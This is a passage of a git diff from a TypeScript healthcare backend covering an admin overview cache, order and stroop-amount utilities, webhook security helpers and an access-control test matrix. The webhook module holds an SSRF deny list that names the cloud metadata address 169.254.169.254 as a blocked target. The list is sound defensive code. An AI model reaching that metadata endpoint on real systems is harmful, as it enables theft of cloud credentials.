AdminOverview { - generatedAt: string; - sections: AdminOverviewSection[]; -} - -export const OVERVIEW_CACHE_TTL_MS = 60_000; - -/** Run every section in parallel. A rejected section becomes `unavailable`. */ -export async function runOverviewSections( - sections: readonly AdminOverviewSectionDefinition[], - now: Date = new Date(), -): Promise { - const results = await Promise.all( - sections.map(async (section): Promise => { - try { - const data = await section.run(); - return { - key: section.key, - label: section.label, - drillDownPath: section.drillDownPath, - status: 'ok', - count: data.count, - oldestAgeSeconds: data.oldestAgeSeconds, - }; - } catch { - return { - key: section.key, - label: section.label, - status: 'unavailable', - count: null, - oldestAgeSeconds: null, - drillDownPath: section.drillDownPath, - }; - } - }), - ); - return { generatedAt: now.toISOString(), sections: results }; -} - -/** Returns the cached overview while it is younger than the TTL, otherwise rebuilds it. */ -export function createOverviewCache(build: () => Promise, ttlMs = OVERVIEW_CACHE_TTL_MS, clock = Date.now) { - let entry: { at: number; value: AdminOverview } | null = null; - return async (): Promise => { - const current = clock(); - if (entry && current - entry.at < ttlMs) return entry.value; - const value = await build(); - entry = { at: current, value }; - return value; - }; -} +// Admin operations overview (Phase 8, issue #123). Each module contributes one +// section through its own service. This file only runs them, isolates +// failures, and caches the result briefly. +// +// Rules for a section: count and age only, never PHI or patient names. A +// section that throws is reported as `unavailable`. It does not fail the +// whole overview. + +export interface AdminOverviewSection { + key: string; + label: string; + status: 'ok' | 'unavailable'; + /** Number of items waiting in this queue. Null when unavailable. */ + count: number | null; + /** Age in seconds of the oldest waiting item. Null when empty or unavailable. */ + oldestAgeSeconds: number | null; + /** Where an admin goes to see the items. */ + drillDownPath: string; +} + +export interface AdminOverviewSectionDefinition { + key: string; + label: string; + drillDownPath: string; + /** Returns the count and age for this section. Throwing marks it unavailable. */ + run: () => Promise<{ count: number; oldestAgeSeconds: number | null }>; +} + +export interface AdminOverview { + generatedAt: string; + sections: AdminOverviewSection[]; +} + +export const OVERVIEW_CACHE_TTL_MS = 60_000; + +/** Run every section in parallel. A rejected section becomes `unavailable`. */ +export async function runOverviewSections( + sections: readonly AdminOverviewSectionDefinition[], + now: Date = new Date(), +): Promise { + const results = await Promise.all( + sections.map(async (section): Promise => { + try { + const data = await section.run(); + return { + key: section.key, + label: section.label, + drillDownPath: section.drillDownPath, + status: 'ok', + count: data.count, + oldestAgeSeconds: data.oldestAgeSeconds, + }; + } catch { + return { + key: section.key, + label: section.label, + status: 'unavailable', + count: null, + oldestAgeSeconds: null, + drillDownPath: section.drillDownPath, + }; + } + }), + ); + return { generatedAt: now.toISOString(), sections: results }; +} + +/** Returns the cached overview while it is younger than the TTL, otherwise rebuilds it. */ +export function createOverviewCache(build: () => Promise, ttlMs = OVERVIEW_CACHE_TTL_MS, clock = Date.now) { + let entry: { at: number; value: AdminOverview } | null = null; + return async (): Promise => { + const current = clock(); + if (entry && current - entry.at < ttlMs) return entry.value; + const value = await build(); + entry = { at: current, value }; + return value; + }; +} diff --git a/backend/src/utils/order-utils.ts b/backend/src/utils/order-utils.ts index 153349cf..13e64d1d 100644 --- a/backend/src/utils/order-utils.ts +++ b/backend/src/utils/order-utils.ts @@ -1,35 +1,35 @@ -import { config } from '../config'; - -export function computeConfirmedSignal( - order: { - confirmed: boolean; - status: string; - disputed: boolean; - fulfilledAt: Date | null; - }, - windowHours: number = config.orders.confirmationWindowHours, -): boolean { - if (order.confirmed) return true; - if (order.status === 'fulfilled' && !order.disputed && order.fulfilledAt) { - const elapsedMs = Date.now() - new Date(order.fulfilledAt).getTime(); - const windowMs = windowHours * 60 * 60 * 1000; - if (elapsedMs >= windowMs) { - return true; - } - } - return false; -} - -export const calculateConfirmedSignal = computeConfirmedSignal; - -export function formatOrderResponse(order: T, windowHours?: number) { - return { - ...order, - confirmedSignal: computeConfirmedSignal(order, windowHours), - }; -} +import { config } from '../config'; + +export function computeConfirmedSignal( + order: { + confirmed: boolean; + status: string; + disputed: boolean; + fulfilledAt: Date | null; + }, + windowHours: number = config.orders.confirmationWindowHours, +): boolean { + if (order.confirmed) return true; + if (order.status === 'fulfilled' && !order.disputed && order.fulfilledAt) { + const elapsedMs = Date.now() - new Date(order.fulfilledAt).getTime(); + const windowMs = windowHours * 60 * 60 * 1000; + if (elapsedMs >= windowMs) { + return true; + } + } + return false; +} + +export const calculateConfirmedSignal = computeConfirmedSignal; + +export function formatOrderResponse(order: T, windowHours?: number) { + return { + ...order, + confirmedSignal: computeConfirmedSignal(order, windowHours), + }; +} diff --git a/backend/src/utils/storage.ts b/backend/src/utils/storage.ts index e7fa776c..ac1faf3b 100644 --- a/backend/src/utils/storage.ts +++ b/backend/src/utils/storage.ts @@ -1,32 +1,32 @@ -/** - * Storage interface for fulfillment attachments and lab result files. - * See ARCHITECTURE.md Β§2 (File/result storage) and Β§6.3.4. - */ - -export interface UploadAttachmentOptions { - fileName?: string; - contentType?: string; - data?: Buffer | string; - url?: string; -} - -export interface StorageProvider { - uploadAttachment(options: UploadAttachmentOptions | string): Promise; -} - -export class DefaultStorageProvider implements StorageProvider { - async uploadAttachment(options: UploadAttachmentOptions | string): Promise { - if (typeof options === 'string') { - return options; - } - if (options.url) { - return options.url; - } - if (options.fileName) { - return `storage://attachments/${Date.now()}-${options.fileName}`; - } - return `storage://attachments/${Date.now()}-attachment`; - } -} - -export const storageService: StorageProvider = new DefaultStorageProvider(); +/** + * Storage interface for fulfillment attachments and lab result files. + * See ARCHITECTURE.md Β§2 (File/result storage) and Β§6.3.4. + */ + +export interface UploadAttachmentOptions { + fileName?: string; + contentType?: string; + data?: Buffer | string; + url?: string; +} + +export interface StorageProvider { + uploadAttachment(options: UploadAttachmentOptions | string): Promise; +} + +export class DefaultStorageProvider implements StorageProvider { + async uploadAttachment(options: UploadAttachmentOptions | string): Promise { + if (typeof options === 'string') { + return options; + } + if (options.url) { + return options.url; + } + if (options.fileName) { + return `storage://attachments/${Date.now()}-${options.fileName}`; + } + return `storage://attachments/${Date.now()}-attachment`; + } +} + +export const storageService: StorageProvider = new DefaultStorageProvider(); diff --git a/backend/src/utils/stroops.ts b/backend/src/utils/stroops.ts index 1c09afd8..f0aeb8de 100644 --- a/backend/src/utils/stroops.ts +++ b/backend/src/utils/stroops.ts @@ -1,57 +1,57 @@ -// Stroop (smallest-unit) amount parsing shared by the facilities price list -// and the payments module. One implementation so "what counts as a valid -// amount" cannot drift between a price row and the intent priced from it. -// -// Amounts are integers in an asset's smallest unit β€” for Stellar's 7-decimal -// assets that is stroops. The contract's `amount` is an `i128`, so the upper -// bound here is `i128::MAX`; anything above it could never be escrowed. -import { HttpError } from '../http-error'; - -/** Number of decimal places for a Stellar payment asset (7 β†’ stroops). */ -export const PAYMENT_ASSET_DECIMALS = 7; - -/** `i128::MAX` β€” the contract stores `amount: i128`, so no amount above this - * can be funded even if it fits in a Postgres BIGINT. */ -export const MAX_STROOPS = (1n << 127n) - 1n; - -/** - * Parses a positive integer stroop amount from an API body (string) or an - * internal value (bigint/number), rejecting decimals, zero, negatives and - * values the contract could not escrow. - * - * Strings are required to be plain digits: `"1.5"`, `"1e7"`, `"-1"` and - * `" 1"` are all rejected rather than silently coerced, so a client cannot - * lose precision by sending a decimal string. - */ -export function parseStroopsAmount( - value: bigint | string | number, - field = 'amount', -): bigint { - let parsed: bigint; - if (typeof value === 'bigint') { - parsed = value; - } else if (typeof value === 'string') { - if (!/^[0-9]+$/.test(value)) { - throw new HttpError(400, `${field} must be a positive integer string of smallest units.`); - } - parsed = BigInt(value); - } else if (typeof value === 'number') { - if (!Number.isSafeInteger(value)) { - throw new HttpError(400, `${field} must be a safe integer; send it as a string instead.`); - } - parsed = BigInt(value); - } else { - throw new HttpError(400, `${field} is required.`); - } - - if (parsed <= 0n) { - throw new HttpError(400, `${field} must be positive.`); - } - if (parsed > MAX_STROOPS) { - // The asset has 7 decimals; an amount is already in those smallest units, - // so "validating against the asset's decimals" here means refusing - // fractional input above and an amount the contract cannot hold here. - throw new HttpError(400, `${field} exceeds the representable range for a ${PAYMENT_ASSET_DECIMALS}-decimal asset.`); - } - return parsed; -} +// Stroop (smallest-unit) amount parsing shared by the facilities price list +// and the payments module. One implementation so "what counts as a valid +// amount" cannot drift between a price row and the intent priced from it. +// +// Amounts are integers in an asset's smallest unit β€” for Stellar's 7-decimal +// assets that is stroops. The contract's `amount` is an `i128`, so the upper +// bound here is `i128::MAX`; anything above it could never be escrowed. +import { HttpError } from '../http-error'; + +/** Number of decimal places for a Stellar payment asset (7 β†’ stroops). */ +export const PAYMENT_ASSET_DECIMALS = 7; + +/** `i128::MAX` β€” the contract stores `amount: i128`, so no amount above this + * can be funded even if it fits in a Postgres BIGINT. */ +export const MAX_STROOPS = (1n << 127n) - 1n; + +/** + * Parses a positive integer stroop amount from an API body (string) or an + * internal value (bigint/number), rejecting decimals, zero, negatives and + * values the contract could not escrow. + * + * Strings are required to be plain digits: `"1.5"`, `"1e7"`, `"-1"` and + * `" 1"` are all rejected rather than silently coerced, so a client cannot + * lose precision by sending a decimal string. + */ +export function parseStroopsAmount( + value: bigint | string | number, + field = 'amount', +): bigint { + let parsed: bigint; + if (typeof value === 'bigint') { + parsed = value; + } else if (typeof value === 'string') { + if (!/^[0-9]+$/.test(value)) { + throw new HttpError(400, `${field} must be a positive integer string of smallest units.`); + } + parsed = BigInt(value); + } else if (typeof value === 'number') { + if (!Number.isSafeInteger(value)) { + throw new HttpError(400, `${field} must be a safe integer; send it as a string instead.`); + } + parsed = BigInt(value); + } else { + throw new HttpError(400, `${field} is required.`); + } + + if (parsed <= 0n) { + throw new HttpError(400, `${field} must be positive.`); + } + if (parsed > MAX_STROOPS) { + // The asset has 7 decimals; an amount is already in those smallest units, + // so "validating against the asset's decimals" here means refusing + // fractional input above and an amount the contract cannot hold here. + throw new HttpError(400, `${field} exceeds the representable range for a ${PAYMENT_ASSET_DECIMALS}-decimal asset.`); + } + return parsed; +} diff --git a/backend/src/utils/webhook-security.ts b/backend/src/utils/webhook-security.ts index cc9b2542..2b73cb12 100644 --- a/backend/src/utils/webhook-security.ts +++ b/backend/src/utils/webhook-security.ts @@ -1,135 +1,135 @@ -// Webhook security primitives for facility notifications (Phase 5, issue #126). -// -// - Registration and delivery accept only HTTPS URLs. -// - Requests never go to private, loopback, link-local, or metadata addresses -// (SSRF). This module checks IP literals. Delivery must also resolve the -// hostname and check the address it actually connects to, to defeat DNS -// rebinding. That check belongs to the delivery worker, not here. -// - Each payload is signed with HMAC-SHA256 over `.`. The -// signature header is `t=,v1=`, so a receiver can -// reject replays by checking the timestamp. -import { createHmac, timingSafeEqual } from 'node:crypto'; -import { isIP } from 'node:net'; - -const SIGNATURE_VERSION = 'v1'; - -/** Thrown when a webhook URL or address is not allowed. Callers map it to 422. */ -export class WebhookUrlError extends Error { - constructor(message: string) { - super(message); - this.name = 'WebhookUrlError'; - } -} - -function ipv4ToInt(address: string): number { - return address.split('.').reduce((acc, octet) => acc * 256 + Number(octet), 0); -} - -function inIpv4Range(address: string, base: string, prefixBits: number): boolean { - const mask = prefixBits === 0 ? 0 : (0xffffffff << (32 - prefixBits)) >>> 0; - return ((ipv4ToInt(address) & mask) >>> 0) === ((ipv4ToInt(base) & mask) >>> 0); -} - -const BLOCKED_IPV4: [string, number][] = [ - ['0.0.0.0', 8], // "this" network - ['10.0.0.0', 8], // private - ['100.64.0.0', 10], // carrier-grade NAT - ['127.0.0.0', 8], // loopback - ['169.254.0.0', 16], // link-local, including cloud metadata 169.254.169.254 - ['172.16.0.0', 12], // private - ['192.0.0.0', 24], // IETF protocol assignments - ['192.168.0.0', 16], // private - ['198.18.0.0', 15], // benchmarking - ['224.0.0.0', 4], // multicast - ['240.0.0.0', 4], // reserved -]; - -/** - * True when an IP literal must never be contacted by a webhook. Covers - * private, loopback, link-local, multicast, and reserved ranges for IPv4 and - * IPv6, including IPv4-mapped IPv6 addresses. Returns true for anything that - * is not a valid IP literal, so the caller fails closed. - */ -export function isBlockedWebhookAddress(address: string): boolean { - const version = isIP(address); - if (version === 4) { - return BLOCKED_IPV4.some(([base, bits]) => inIpv4Range(address, base, bits)); - } - if (version === 6) { - const lower = address.toLowerCase(); - const mapped = lower.match(/^::ffff:(\d+\.\d+\.\d+\.\d+)$/); - if (mapped) return isBlockedWebhookAddress(mapped[1]); - if (lower === '::' || lower === '::1') return true; - if (/^fe[89ab]/.test(lower)) return true; // fe80::/10 link-local - if (/^f[cd]/.test(lower)) return true; // fc00::/7 unique local - if (/^ff/.test(lower)) return true; // ff00::/8 multicast - return false; - } - return true; -} - -/** - * Validate a webhook endpoint URL at registration time. Requires `https:`, - * rejects embedded credentials, and rejects an IP-literal host in a blocked - * range. Hostnames are not resolved here. - */ -export function assertWebhookUrl(raw: string): URL { - let url: URL; - try { - url = new URL(raw); - } catch { - throw new WebhookUrlError('Webhook URL must be a valid absolute URL.'); - } - if (url.protocol !== 'https:') { - throw new WebhookUrlError('Webhook URL must use HTTPS.'); - } - if (url.username || url.password) { - throw new WebhookUrlError('Webhook URL must not contain credentials.'); - } - // URL keeps brackets on IPv6 hosts; strip them before checking the literal. - const host = url.hostname.replace(/^\[(.*)\]$/, '$1'); - if (isIP(host) && isBlockedWebhookAddress(host)) { - throw new WebhookUrlError('Webhook URL must not point to a private or reserved address.'); - } - return url; -} - -/** Build the `t=…,v1=…` signature header for a payload sent at `timestamp` (unix seconds). */ -export function signWebhookPayload(secret: string, body: string, timestamp: number): string { - const digest = createHmac('sha256', secret).update(`${timestamp}.${body}`).digest('hex'); - return `t=${timestamp},${SIGNATURE_VERSION}=${digest}`; -} - -/** - * Check a received signature header. Rejects a malformed header, a timestamp - * outside `toleranceSeconds` (replay protection), or a digest mismatch. The - * digest comparison is constant-time. - */ -export function verifyWebhookSignature( - secret: string, - body: string, - header: string, - nowSeconds: number, - toleranceSeconds = 300, -): boolean { - const parts = Object.fromEntries(header.split(',').map((part) => part.split('=') as [string, string])); - const timestamp = Number(parts.t); - const received = parts[SIGNATURE_VERSION]; - if (!Number.isInteger(timestamp) || !received) return false; - if (Math.abs(nowSeconds - timestamp) > toleranceSeconds) return false; - - const expected = signWebhookPayload(secret, body, timestamp).split(`${SIGNATURE_VERSION}=`)[1]; - const a = Buffer.from(expected, 'hex'); - const b = Buffer.from(received, 'hex'); - return a.length === b.length && timingSafeEqual(a, b); -} - -/** - * Exponential backoff for redelivery: 30s, 60s, 120s, … capped at six hours. - * `attempt` is 1 for the first retry. - */ -export function webhookRetryDelaySeconds(attempt: number): number { - const BASE_SECONDS = 30; - const CAP_SECONDS = 6 * 60 * 60; - return Math.min(CAP_SECONDS, BASE_SECONDS * 2 ** Math.max(0, attempt - 1)); -} +// Webhook security primitives for facility notifications (Phase 5, issue #126). +// +// - Registration and delivery accept only HTTPS URLs. +// - Requests never go to private, loopback, link-local, or metadata addresses +// (SSRF). This module checks IP literals. Delivery must also resolve the +// hostname and check the address it actually connects to, to defeat DNS +// rebinding. That check belongs to the delivery worker, not here. +// - Each payload is signed with HMAC-SHA256 over `.`. The +// signature header is `t=,v1=`, so a receiver can +// reject replays by checking the timestamp. +import { createHmac, timingSafeEqual } from 'node:crypto'; +import { isIP } from 'node:net'; + +const SIGNATURE_VERSION = 'v1'; + +/** Thrown when a webhook URL or address is not allowed. Callers map it to 422. */ +export class WebhookUrlError extends Error { + constructor(message: string) { + super(message); + this.name = 'WebhookUrlError'; + } +} + +function ipv4ToInt(address: string): number { + return address.split('.').reduce((acc, octet) => acc * 256 + Number(octet), 0); +} + +function inIpv4Range(address: string, base: string, prefixBits: number): boolean { + const mask = prefixBits === 0 ? 0 : (0xffffffff << (32 - prefixBits)) >>> 0; + return ((ipv4ToInt(address) & mask) >>> 0) === ((ipv4ToInt(base) & mask) >>> 0); +} + +const BLOCKED_IPV4: [string, number][] = [ + ['0.0.0.0', 8], // "this" network + ['10.0.0.0', 8], // private + ['100.64.0.0', 10], // carrier-grade NAT + ['127.0.0.0', 8], // loopback + ['169.254.0.0', 16], // link-local, including cloud metadata 169.254.169.254 + ['172.16.0.0', 12], // private + ['192.0.0.0', 24], // IETF protocol assignments + ['192.168.0.0', 16], // private + ['198.18.0.0', 15], // benchmarking + ['224.0.0.0', 4], // multicast + ['240.0.0.0', 4], // reserved +]; + +/** + * True when an IP literal must never be contacted by a webhook. Covers + * private, loopback, link-local, multicast, and reserved ranges for IPv4 and + * IPv6, including IPv4-mapped IPv6 addresses. Returns true for anything that + * is not a valid IP literal, so the caller fails closed. + */ +export function isBlockedWebhookAddress(address: string): boolean { + const version = isIP(address); + if (version === 4) { + return BLOCKED_IPV4.some(([base, bits]) => inIpv4Range(address, base, bits)); + } + if (version === 6) { + const lower = address.toLowerCase(); + const mapped = lower.match(/^::ffff:(\d+\.\d+\.\d+\.\d+)$/); + if (mapped) return isBlockedWebhookAddress(mapped[1]); + if (lower === '::' || lower === '::1') return true; + if (/^fe[89ab]/.test(lower)) return true; // fe80::/10 link-local + if (/^f[cd]/.test(lower)) return true; // fc00::/7 unique local + if (/^ff/.test(lower)) return true; // ff00::/8 multicast + return false; + } + return true; +} + +/** + * Validate a webhook endpoint URL at registration time. Requires `https:`, + * rejects embedded credentials, and rejects an IP-literal host in a blocked + * range. Hostnames are not resolved here. + */ +export function assertWebhookUrl(raw: string): URL { + let url: URL; + try { + url = new URL(raw); + } catch { + throw new WebhookUrlError('Webhook URL must be a valid absolute URL.'); + } + if (url.protocol !== 'https:') { + throw new WebhookUrlError('Webhook URL must use HTTPS.'); + } + if (url.username || url.password) { + throw new WebhookUrlError('Webhook URL must not contain credentials.'); + } + // URL keeps brackets on IPv6 hosts; strip them before checking the literal. + const host = url.hostname.replace(/^\[(.*)\]$/, '$1'); + if (isIP(host) && isBlockedWebhookAddress(host)) { + throw new WebhookUrlError('Webhook URL must not point to a private or reserved address.'); + } + return url; +} + +/** Build the `t=…,v1=…` signature header for a payload sent at `timestamp` (unix seconds). */ +export function signWebhookPayload(secret: string, body: string, timestamp: number): string { + const digest = createHmac('sha256', secret).update(`${timestamp}.${body}`).digest('hex'); + return `t=${timestamp},${SIGNATURE_VERSION}=${digest}`; +} + +/** + * Check a received signature header. Rejects a malformed header, a timestamp + * outside `toleranceSeconds` (replay protection), or a digest mismatch. The + * digest comparison is constant-time. + */ +export function verifyWebhookSignature( + secret: string, + body: string, + header: string, + nowSeconds: number, + toleranceSeconds = 300, +): boolean { + const parts = Object.fromEntries(header.split(',').map((part) => part.split('=') as [string, string])); + const timestamp = Number(parts.t); + const received = parts[SIGNATURE_VERSION]; + if (!Number.isInteger(timestamp) || !received) return false; + if (Math.abs(nowSeconds - timestamp) > toleranceSeconds) return false; + + const expected = signWebhookPayload(secret, body, timestamp).split(`${SIGNATURE_VERSION}=`)[1]; + const a = Buffer.from(expected, 'hex'); + const b = Buffer.from(received, 'hex'); + return a.length === b.length && timingSafeEqual(a, b); +} + +/** + * Exponential backoff for redelivery: 30s, 60s, 120s, … capped at six hours. + * `attempt` is 1 for the first retry. + */ +export function webhookRetryDelaySeconds(attempt: number): number { + const BASE_SECONDS = 30; + const CAP_SECONDS = 6 * 60 * 60; + return Math.min(CAP_SECONDS, BASE_SECONDS * 2 ** Math.max(0, attempt - 1)); +} diff --git a/backend/tests/integration/access-control.test.mts b/backend/tests/integration/access-control.test.mts index 698a55a1..3627be8c 100644 --- a/backend/tests/integration/access-control.test.mts +++ b/backend/tests/integration/access-control.test.mts @@ -1,299 +1,299 @@ -// Integration tests for access-control: who may read intake, consultation and payment data -// (Phase 8, issue #44). Self-contained embedded Postgres, own port (5438) so it runs -// alongside the other integration files. -// -// This suite establishes a declarative access-control matrix (route Γ— actor β†’ -// expected status) covering every registered route. The matrix is the -// canonical source of truth for who may call what β€” later phases add rows -// instead of inventing their own approach. -// -// The "unregistered route" guard checks against a known-routes list that is -// kept in sync with the actual route registrations in each module's routes/. - -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5438; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-ac-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; - -// --------------------------------------------------------------------------- -// Known routes β€” keep in sync with each module's routes/index.ts registrations. -// --------------------------------------------------------------------------- -const KNOWN_ROUTES = [ - 'GET /health', - 'POST /auth/signup', - 'POST /auth/login', - 'POST /auth/refresh', - 'POST /auth/logout', - 'POST /auth/verify-email', - 'POST /auth/verify-email/resend', - 'POST /auth/login-attempts/clear', - 'GET /doctors/me', - 'PATCH /doctors/:doctorProfileId/verification', - 'GET /availability/doctors/:doctorProfileId/slots', - 'POST /availability/doctors/:doctorProfileId/slots/generate', - 'POST /appointments', - 'GET /appointments/mine', - 'POST /appointments/:appointmentId/consultation', - 'POST /consultations', - 'GET /consultations/:consultationId', - 'POST /payments/wallet-link', - 'GET /payments/wallet-link', - 'POST /orders/consultations', - 'POST /orders/consultations/:consultationId/prescriptions', - 'POST /orders/consultations/:consultationId/lab-orders', - 'POST /pharmacy-orders/:id/fulfill', - 'POST /lab-orders/:id/fulfill', - 'POST /orders/:id/confirm-receipt', - 'POST /orders/:id/dispute', - 'GET /orders/:id', - 'GET /admin/orders/disputes', - 'POST /admin/orders/disputes/:id/resolve', - 'GET /payments/intents/:id', - 'POST /payments/intents/:id/fund', - 'POST /payments/intents/:id/release', - 'POST /payments/intents/:id/refund', - 'POST /patients/me/export', - 'GET /patients/me/export/:exportId', - 'GET /patients/me/export/:exportId/download', - 'POST /patients/me/dependents', - 'GET /patients/me/dependents', -] as const; - -// --------------------------------------------------------------------------- -// Access-control matrix: route Γ— actor β†’ expected status -// --------------------------------------------------------------------------- -type Actor = 'anon' | 'patient' | 'doctor' | 'facility' | 'admin'; - -interface MatrixRow { - method: 'GET' | 'POST' | 'PATCH' | 'PUT' | 'DELETE'; - path: string; - /** Expected HTTP status per actor. Omitted actor β†’ 401 or 403 expected (not asserted). */ - expected: Partial>; -} - -const ACCESS_MATRIX: MatrixRow[] = [ - // Health β€” public - { method: 'GET', path: '/health', expected: { anon: 200, patient: 200, doctor: 200, facility: 200, admin: 200 } }, - - // Auth β€” public signup/login/refresh; logout needs CSRF token (403 without) - // signup/login are tested in seedActors β€” direct assertions below use fresh emails - { method: 'POST', path: '/auth/signup', expected: { anon: 400 } }, // seeded email reused β†’ 400 duplicate - { method: 'POST', path: '/auth/login', expected: { anon: 400 } }, // seeded email + wrong body β†’ 400 - { method: 'POST', path: '/auth/refresh', expected: { anon: 401 } }, - { method: 'POST', path: '/auth/logout', expected: { anon: 403, patient: 403 } }, - { method: 'POST', path: '/auth/verify-email', expected: { anon: 400 } }, // missing token field β†’ 400 - { method: 'POST', path: '/auth/verify-email/resend', expected: { anon: 401 } }, // authenticated 200/429 varies by rate limit - { method: 'POST', path: '/auth/login-attempts/clear', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 400 } }, // admin-only; missing body β†’ 400 - - // Doctors β€” GET /me is doctor-only; verification is admin-only - { method: 'GET', path: '/doctors/me', expected: { anon: 401, patient: 403, doctor: 200, facility: 403, admin: 403 } }, - { method: 'PATCH', path: '/doctors/:doctorProfileId/verification', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 400 } }, // admin passes role gate; placeholder id β†’ validation 400 - - // Availability β€” slots browsing public; generation requires verified doctor - { method: 'GET', path: '/availability/doctors/:doctorProfileId/slots', expected: { anon: 200, patient: 200, doctor: 200, facility: 200, admin: 200 } }, - { method: 'POST', path: '/availability/doctors/:doctorProfileId/slots/generate', expected: { anon: 401, patient: 403, doctor: 404, facility: 403, admin: 403 } }, - - // Appointments β€” POST is patient-only (verified email); GET /mine is patient-only - { method: 'POST', path: '/appointments', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, // patient unverified β†’ 403 EMAIL_NOT_VERIFIED - { method: 'GET', path: '/appointments/mine', expected: { anon: 401, patient: 200, doctor: 403, facility: 403, admin: 403 } }, - - // Consultations (issue #4) β€” closing is doctor-only, verified-email gated - // and only for the doctor's own appointment. The seeded doctor is - // unverified, so the email gate answers 403 before the service can answer - // 404; the own-appointment 404 (never a 403 that would confirm the - // appointment exists) is asserted in consultation.test.mts. - { method: 'POST', path: '/appointments/:appointmentId/consultation', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, - { method: 'POST', path: '/consultations', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, - { method: 'GET', path: '/consultations/:consultationId', expected: { anon: 401, patient: 404, doctor: 404, facility: 404, admin: 404 } }, - - // Orders: doctor-only and verified-email gated. - { method: 'POST', path: '/orders/consultations', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, - { method: 'POST', path: '/orders/consultations/:consultationId/prescriptions', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, - { method: 'POST', path: '/orders/consultations/:consultationId/lab-orders', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, - - // Pharmacy & Lab Orders fulfillment β€” facility-only - { method: 'POST', path: '/pharmacy-orders/:id/fulfill', expected: { anon: 401, patient: 403, doctor: 403, facility: 404, admin: 403 } }, - { method: 'POST', path: '/lab-orders/:id/fulfill', expected: { anon: 401, patient: 403, doctor: 403, facility: 404, admin: 403 } }, - - // Patient Order Confirm & Dispute β€” patient-only - { method: 'POST', path: '/orders/:id/confirm-receipt', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, - { method: 'POST', path: '/orders/:id/dispute', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, - { method: 'GET', path: '/orders/:id', expected: { anon: 401, patient: 404, doctor: 404, facility: 404, admin: 404 } }, - - // Admin Order Disputes β€” admin-only - { method: 'GET', path: '/admin/orders/disputes', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 200 } }, - { method: 'POST', path: '/admin/orders/disputes/:id/resolve', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, - - // Payments β€” admin-triggered in v1; wallet-link is facility-only - { method: 'POST', path: '/payments/wallet-link', expected: { anon: 401, patient: 403, doctor: 403, facility: 400, admin: 403 } }, - { method: 'GET', path: '/payments/wallet-link', expected: { anon: 401, patient: 403, doctor: 403, facility: 404, admin: 403 } }, - { method: 'GET', path: '/payments/intents/:id', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, - { method: 'POST', path: '/payments/intents/:id/fund', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, - { method: 'POST', path: '/payments/intents/:id/release', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, - { method: 'POST', path: '/payments/intents/:id/refund', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 404 } }, - - // Patient data export (issue #40) β€” patient-only and self-only; no - // on-behalf-of route for doctors/admins. A placeholder id is "not yours" β†’ 404. - { method: 'POST', path: '/patients/me/export', expected: { anon: 401, patient: 202, doctor: 403, facility: 403, admin: 403 } }, - { method: 'GET', path: '/patients/me/export/:exportId', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, - { method: 'GET', path: '/patients/me/export/:exportId/download', expected: { anon: 401, patient: 404, doctor: 403, facility: 403, admin: 403 } }, - // Dependents (issue #42) β€” patients only. Creating one needs a verified - // email (this suite's patient is unverified β†’ 403 EMAIL_NOT_VERIFIED). - { method: 'POST', path: '/patients/me/dependents', expected: { anon: 401, patient: 403, doctor: 403, facility: 403, admin: 403 } }, - { method: 'GET', path: '/patients/me/dependents', expected: { anon: 401, patient: 200, doctor: 403, facility: 403, admin: 403 } }, -]; - -const ACTORS: Actor[] = ['anon', 'patient', 'doctor', 'facility', 'admin']; - -describe('Access-control test suite: who may read intake, consultation and payment data', () => { - let app: App; - let prisma: Prisma; - - const tokens: Partial> = {}; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - await seedActors(); - }); - - afterAll(async () => { - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - async function seedActors() { - // Patient + doctor via self-serve signup - for (const role of ['patient', 'doctor'] as const) { - const email = `ac-${role}-${runId}@example.com`; - const res = await request(app) - .post('/auth/signup') - .send({ role, email, password: 'longenough123', fullName: `AC ${role}` }); - if (res.status === 200) tokens[role] = res.body.accessToken as string; - } - - // Facility + admin via direct DB insert (not self-serve per PRD OQ-2) - const bcryptjs = await import('bcryptjs'); - const passwordHash = await bcryptjs.hash('longenough123', 4); - - for (const role of ['facility', 'admin'] as const) { - const email = `ac-${role}-${runId}@example.com`; - const user = await prisma.user.create({ - data: { email, passwordHash, role, emailVerifiedAt: new Date() }, - }); - if (role === 'facility') { - await prisma.facilityProfile.create({ - data: { userId: user.id, name: `AC Facility ${runId}`, type: 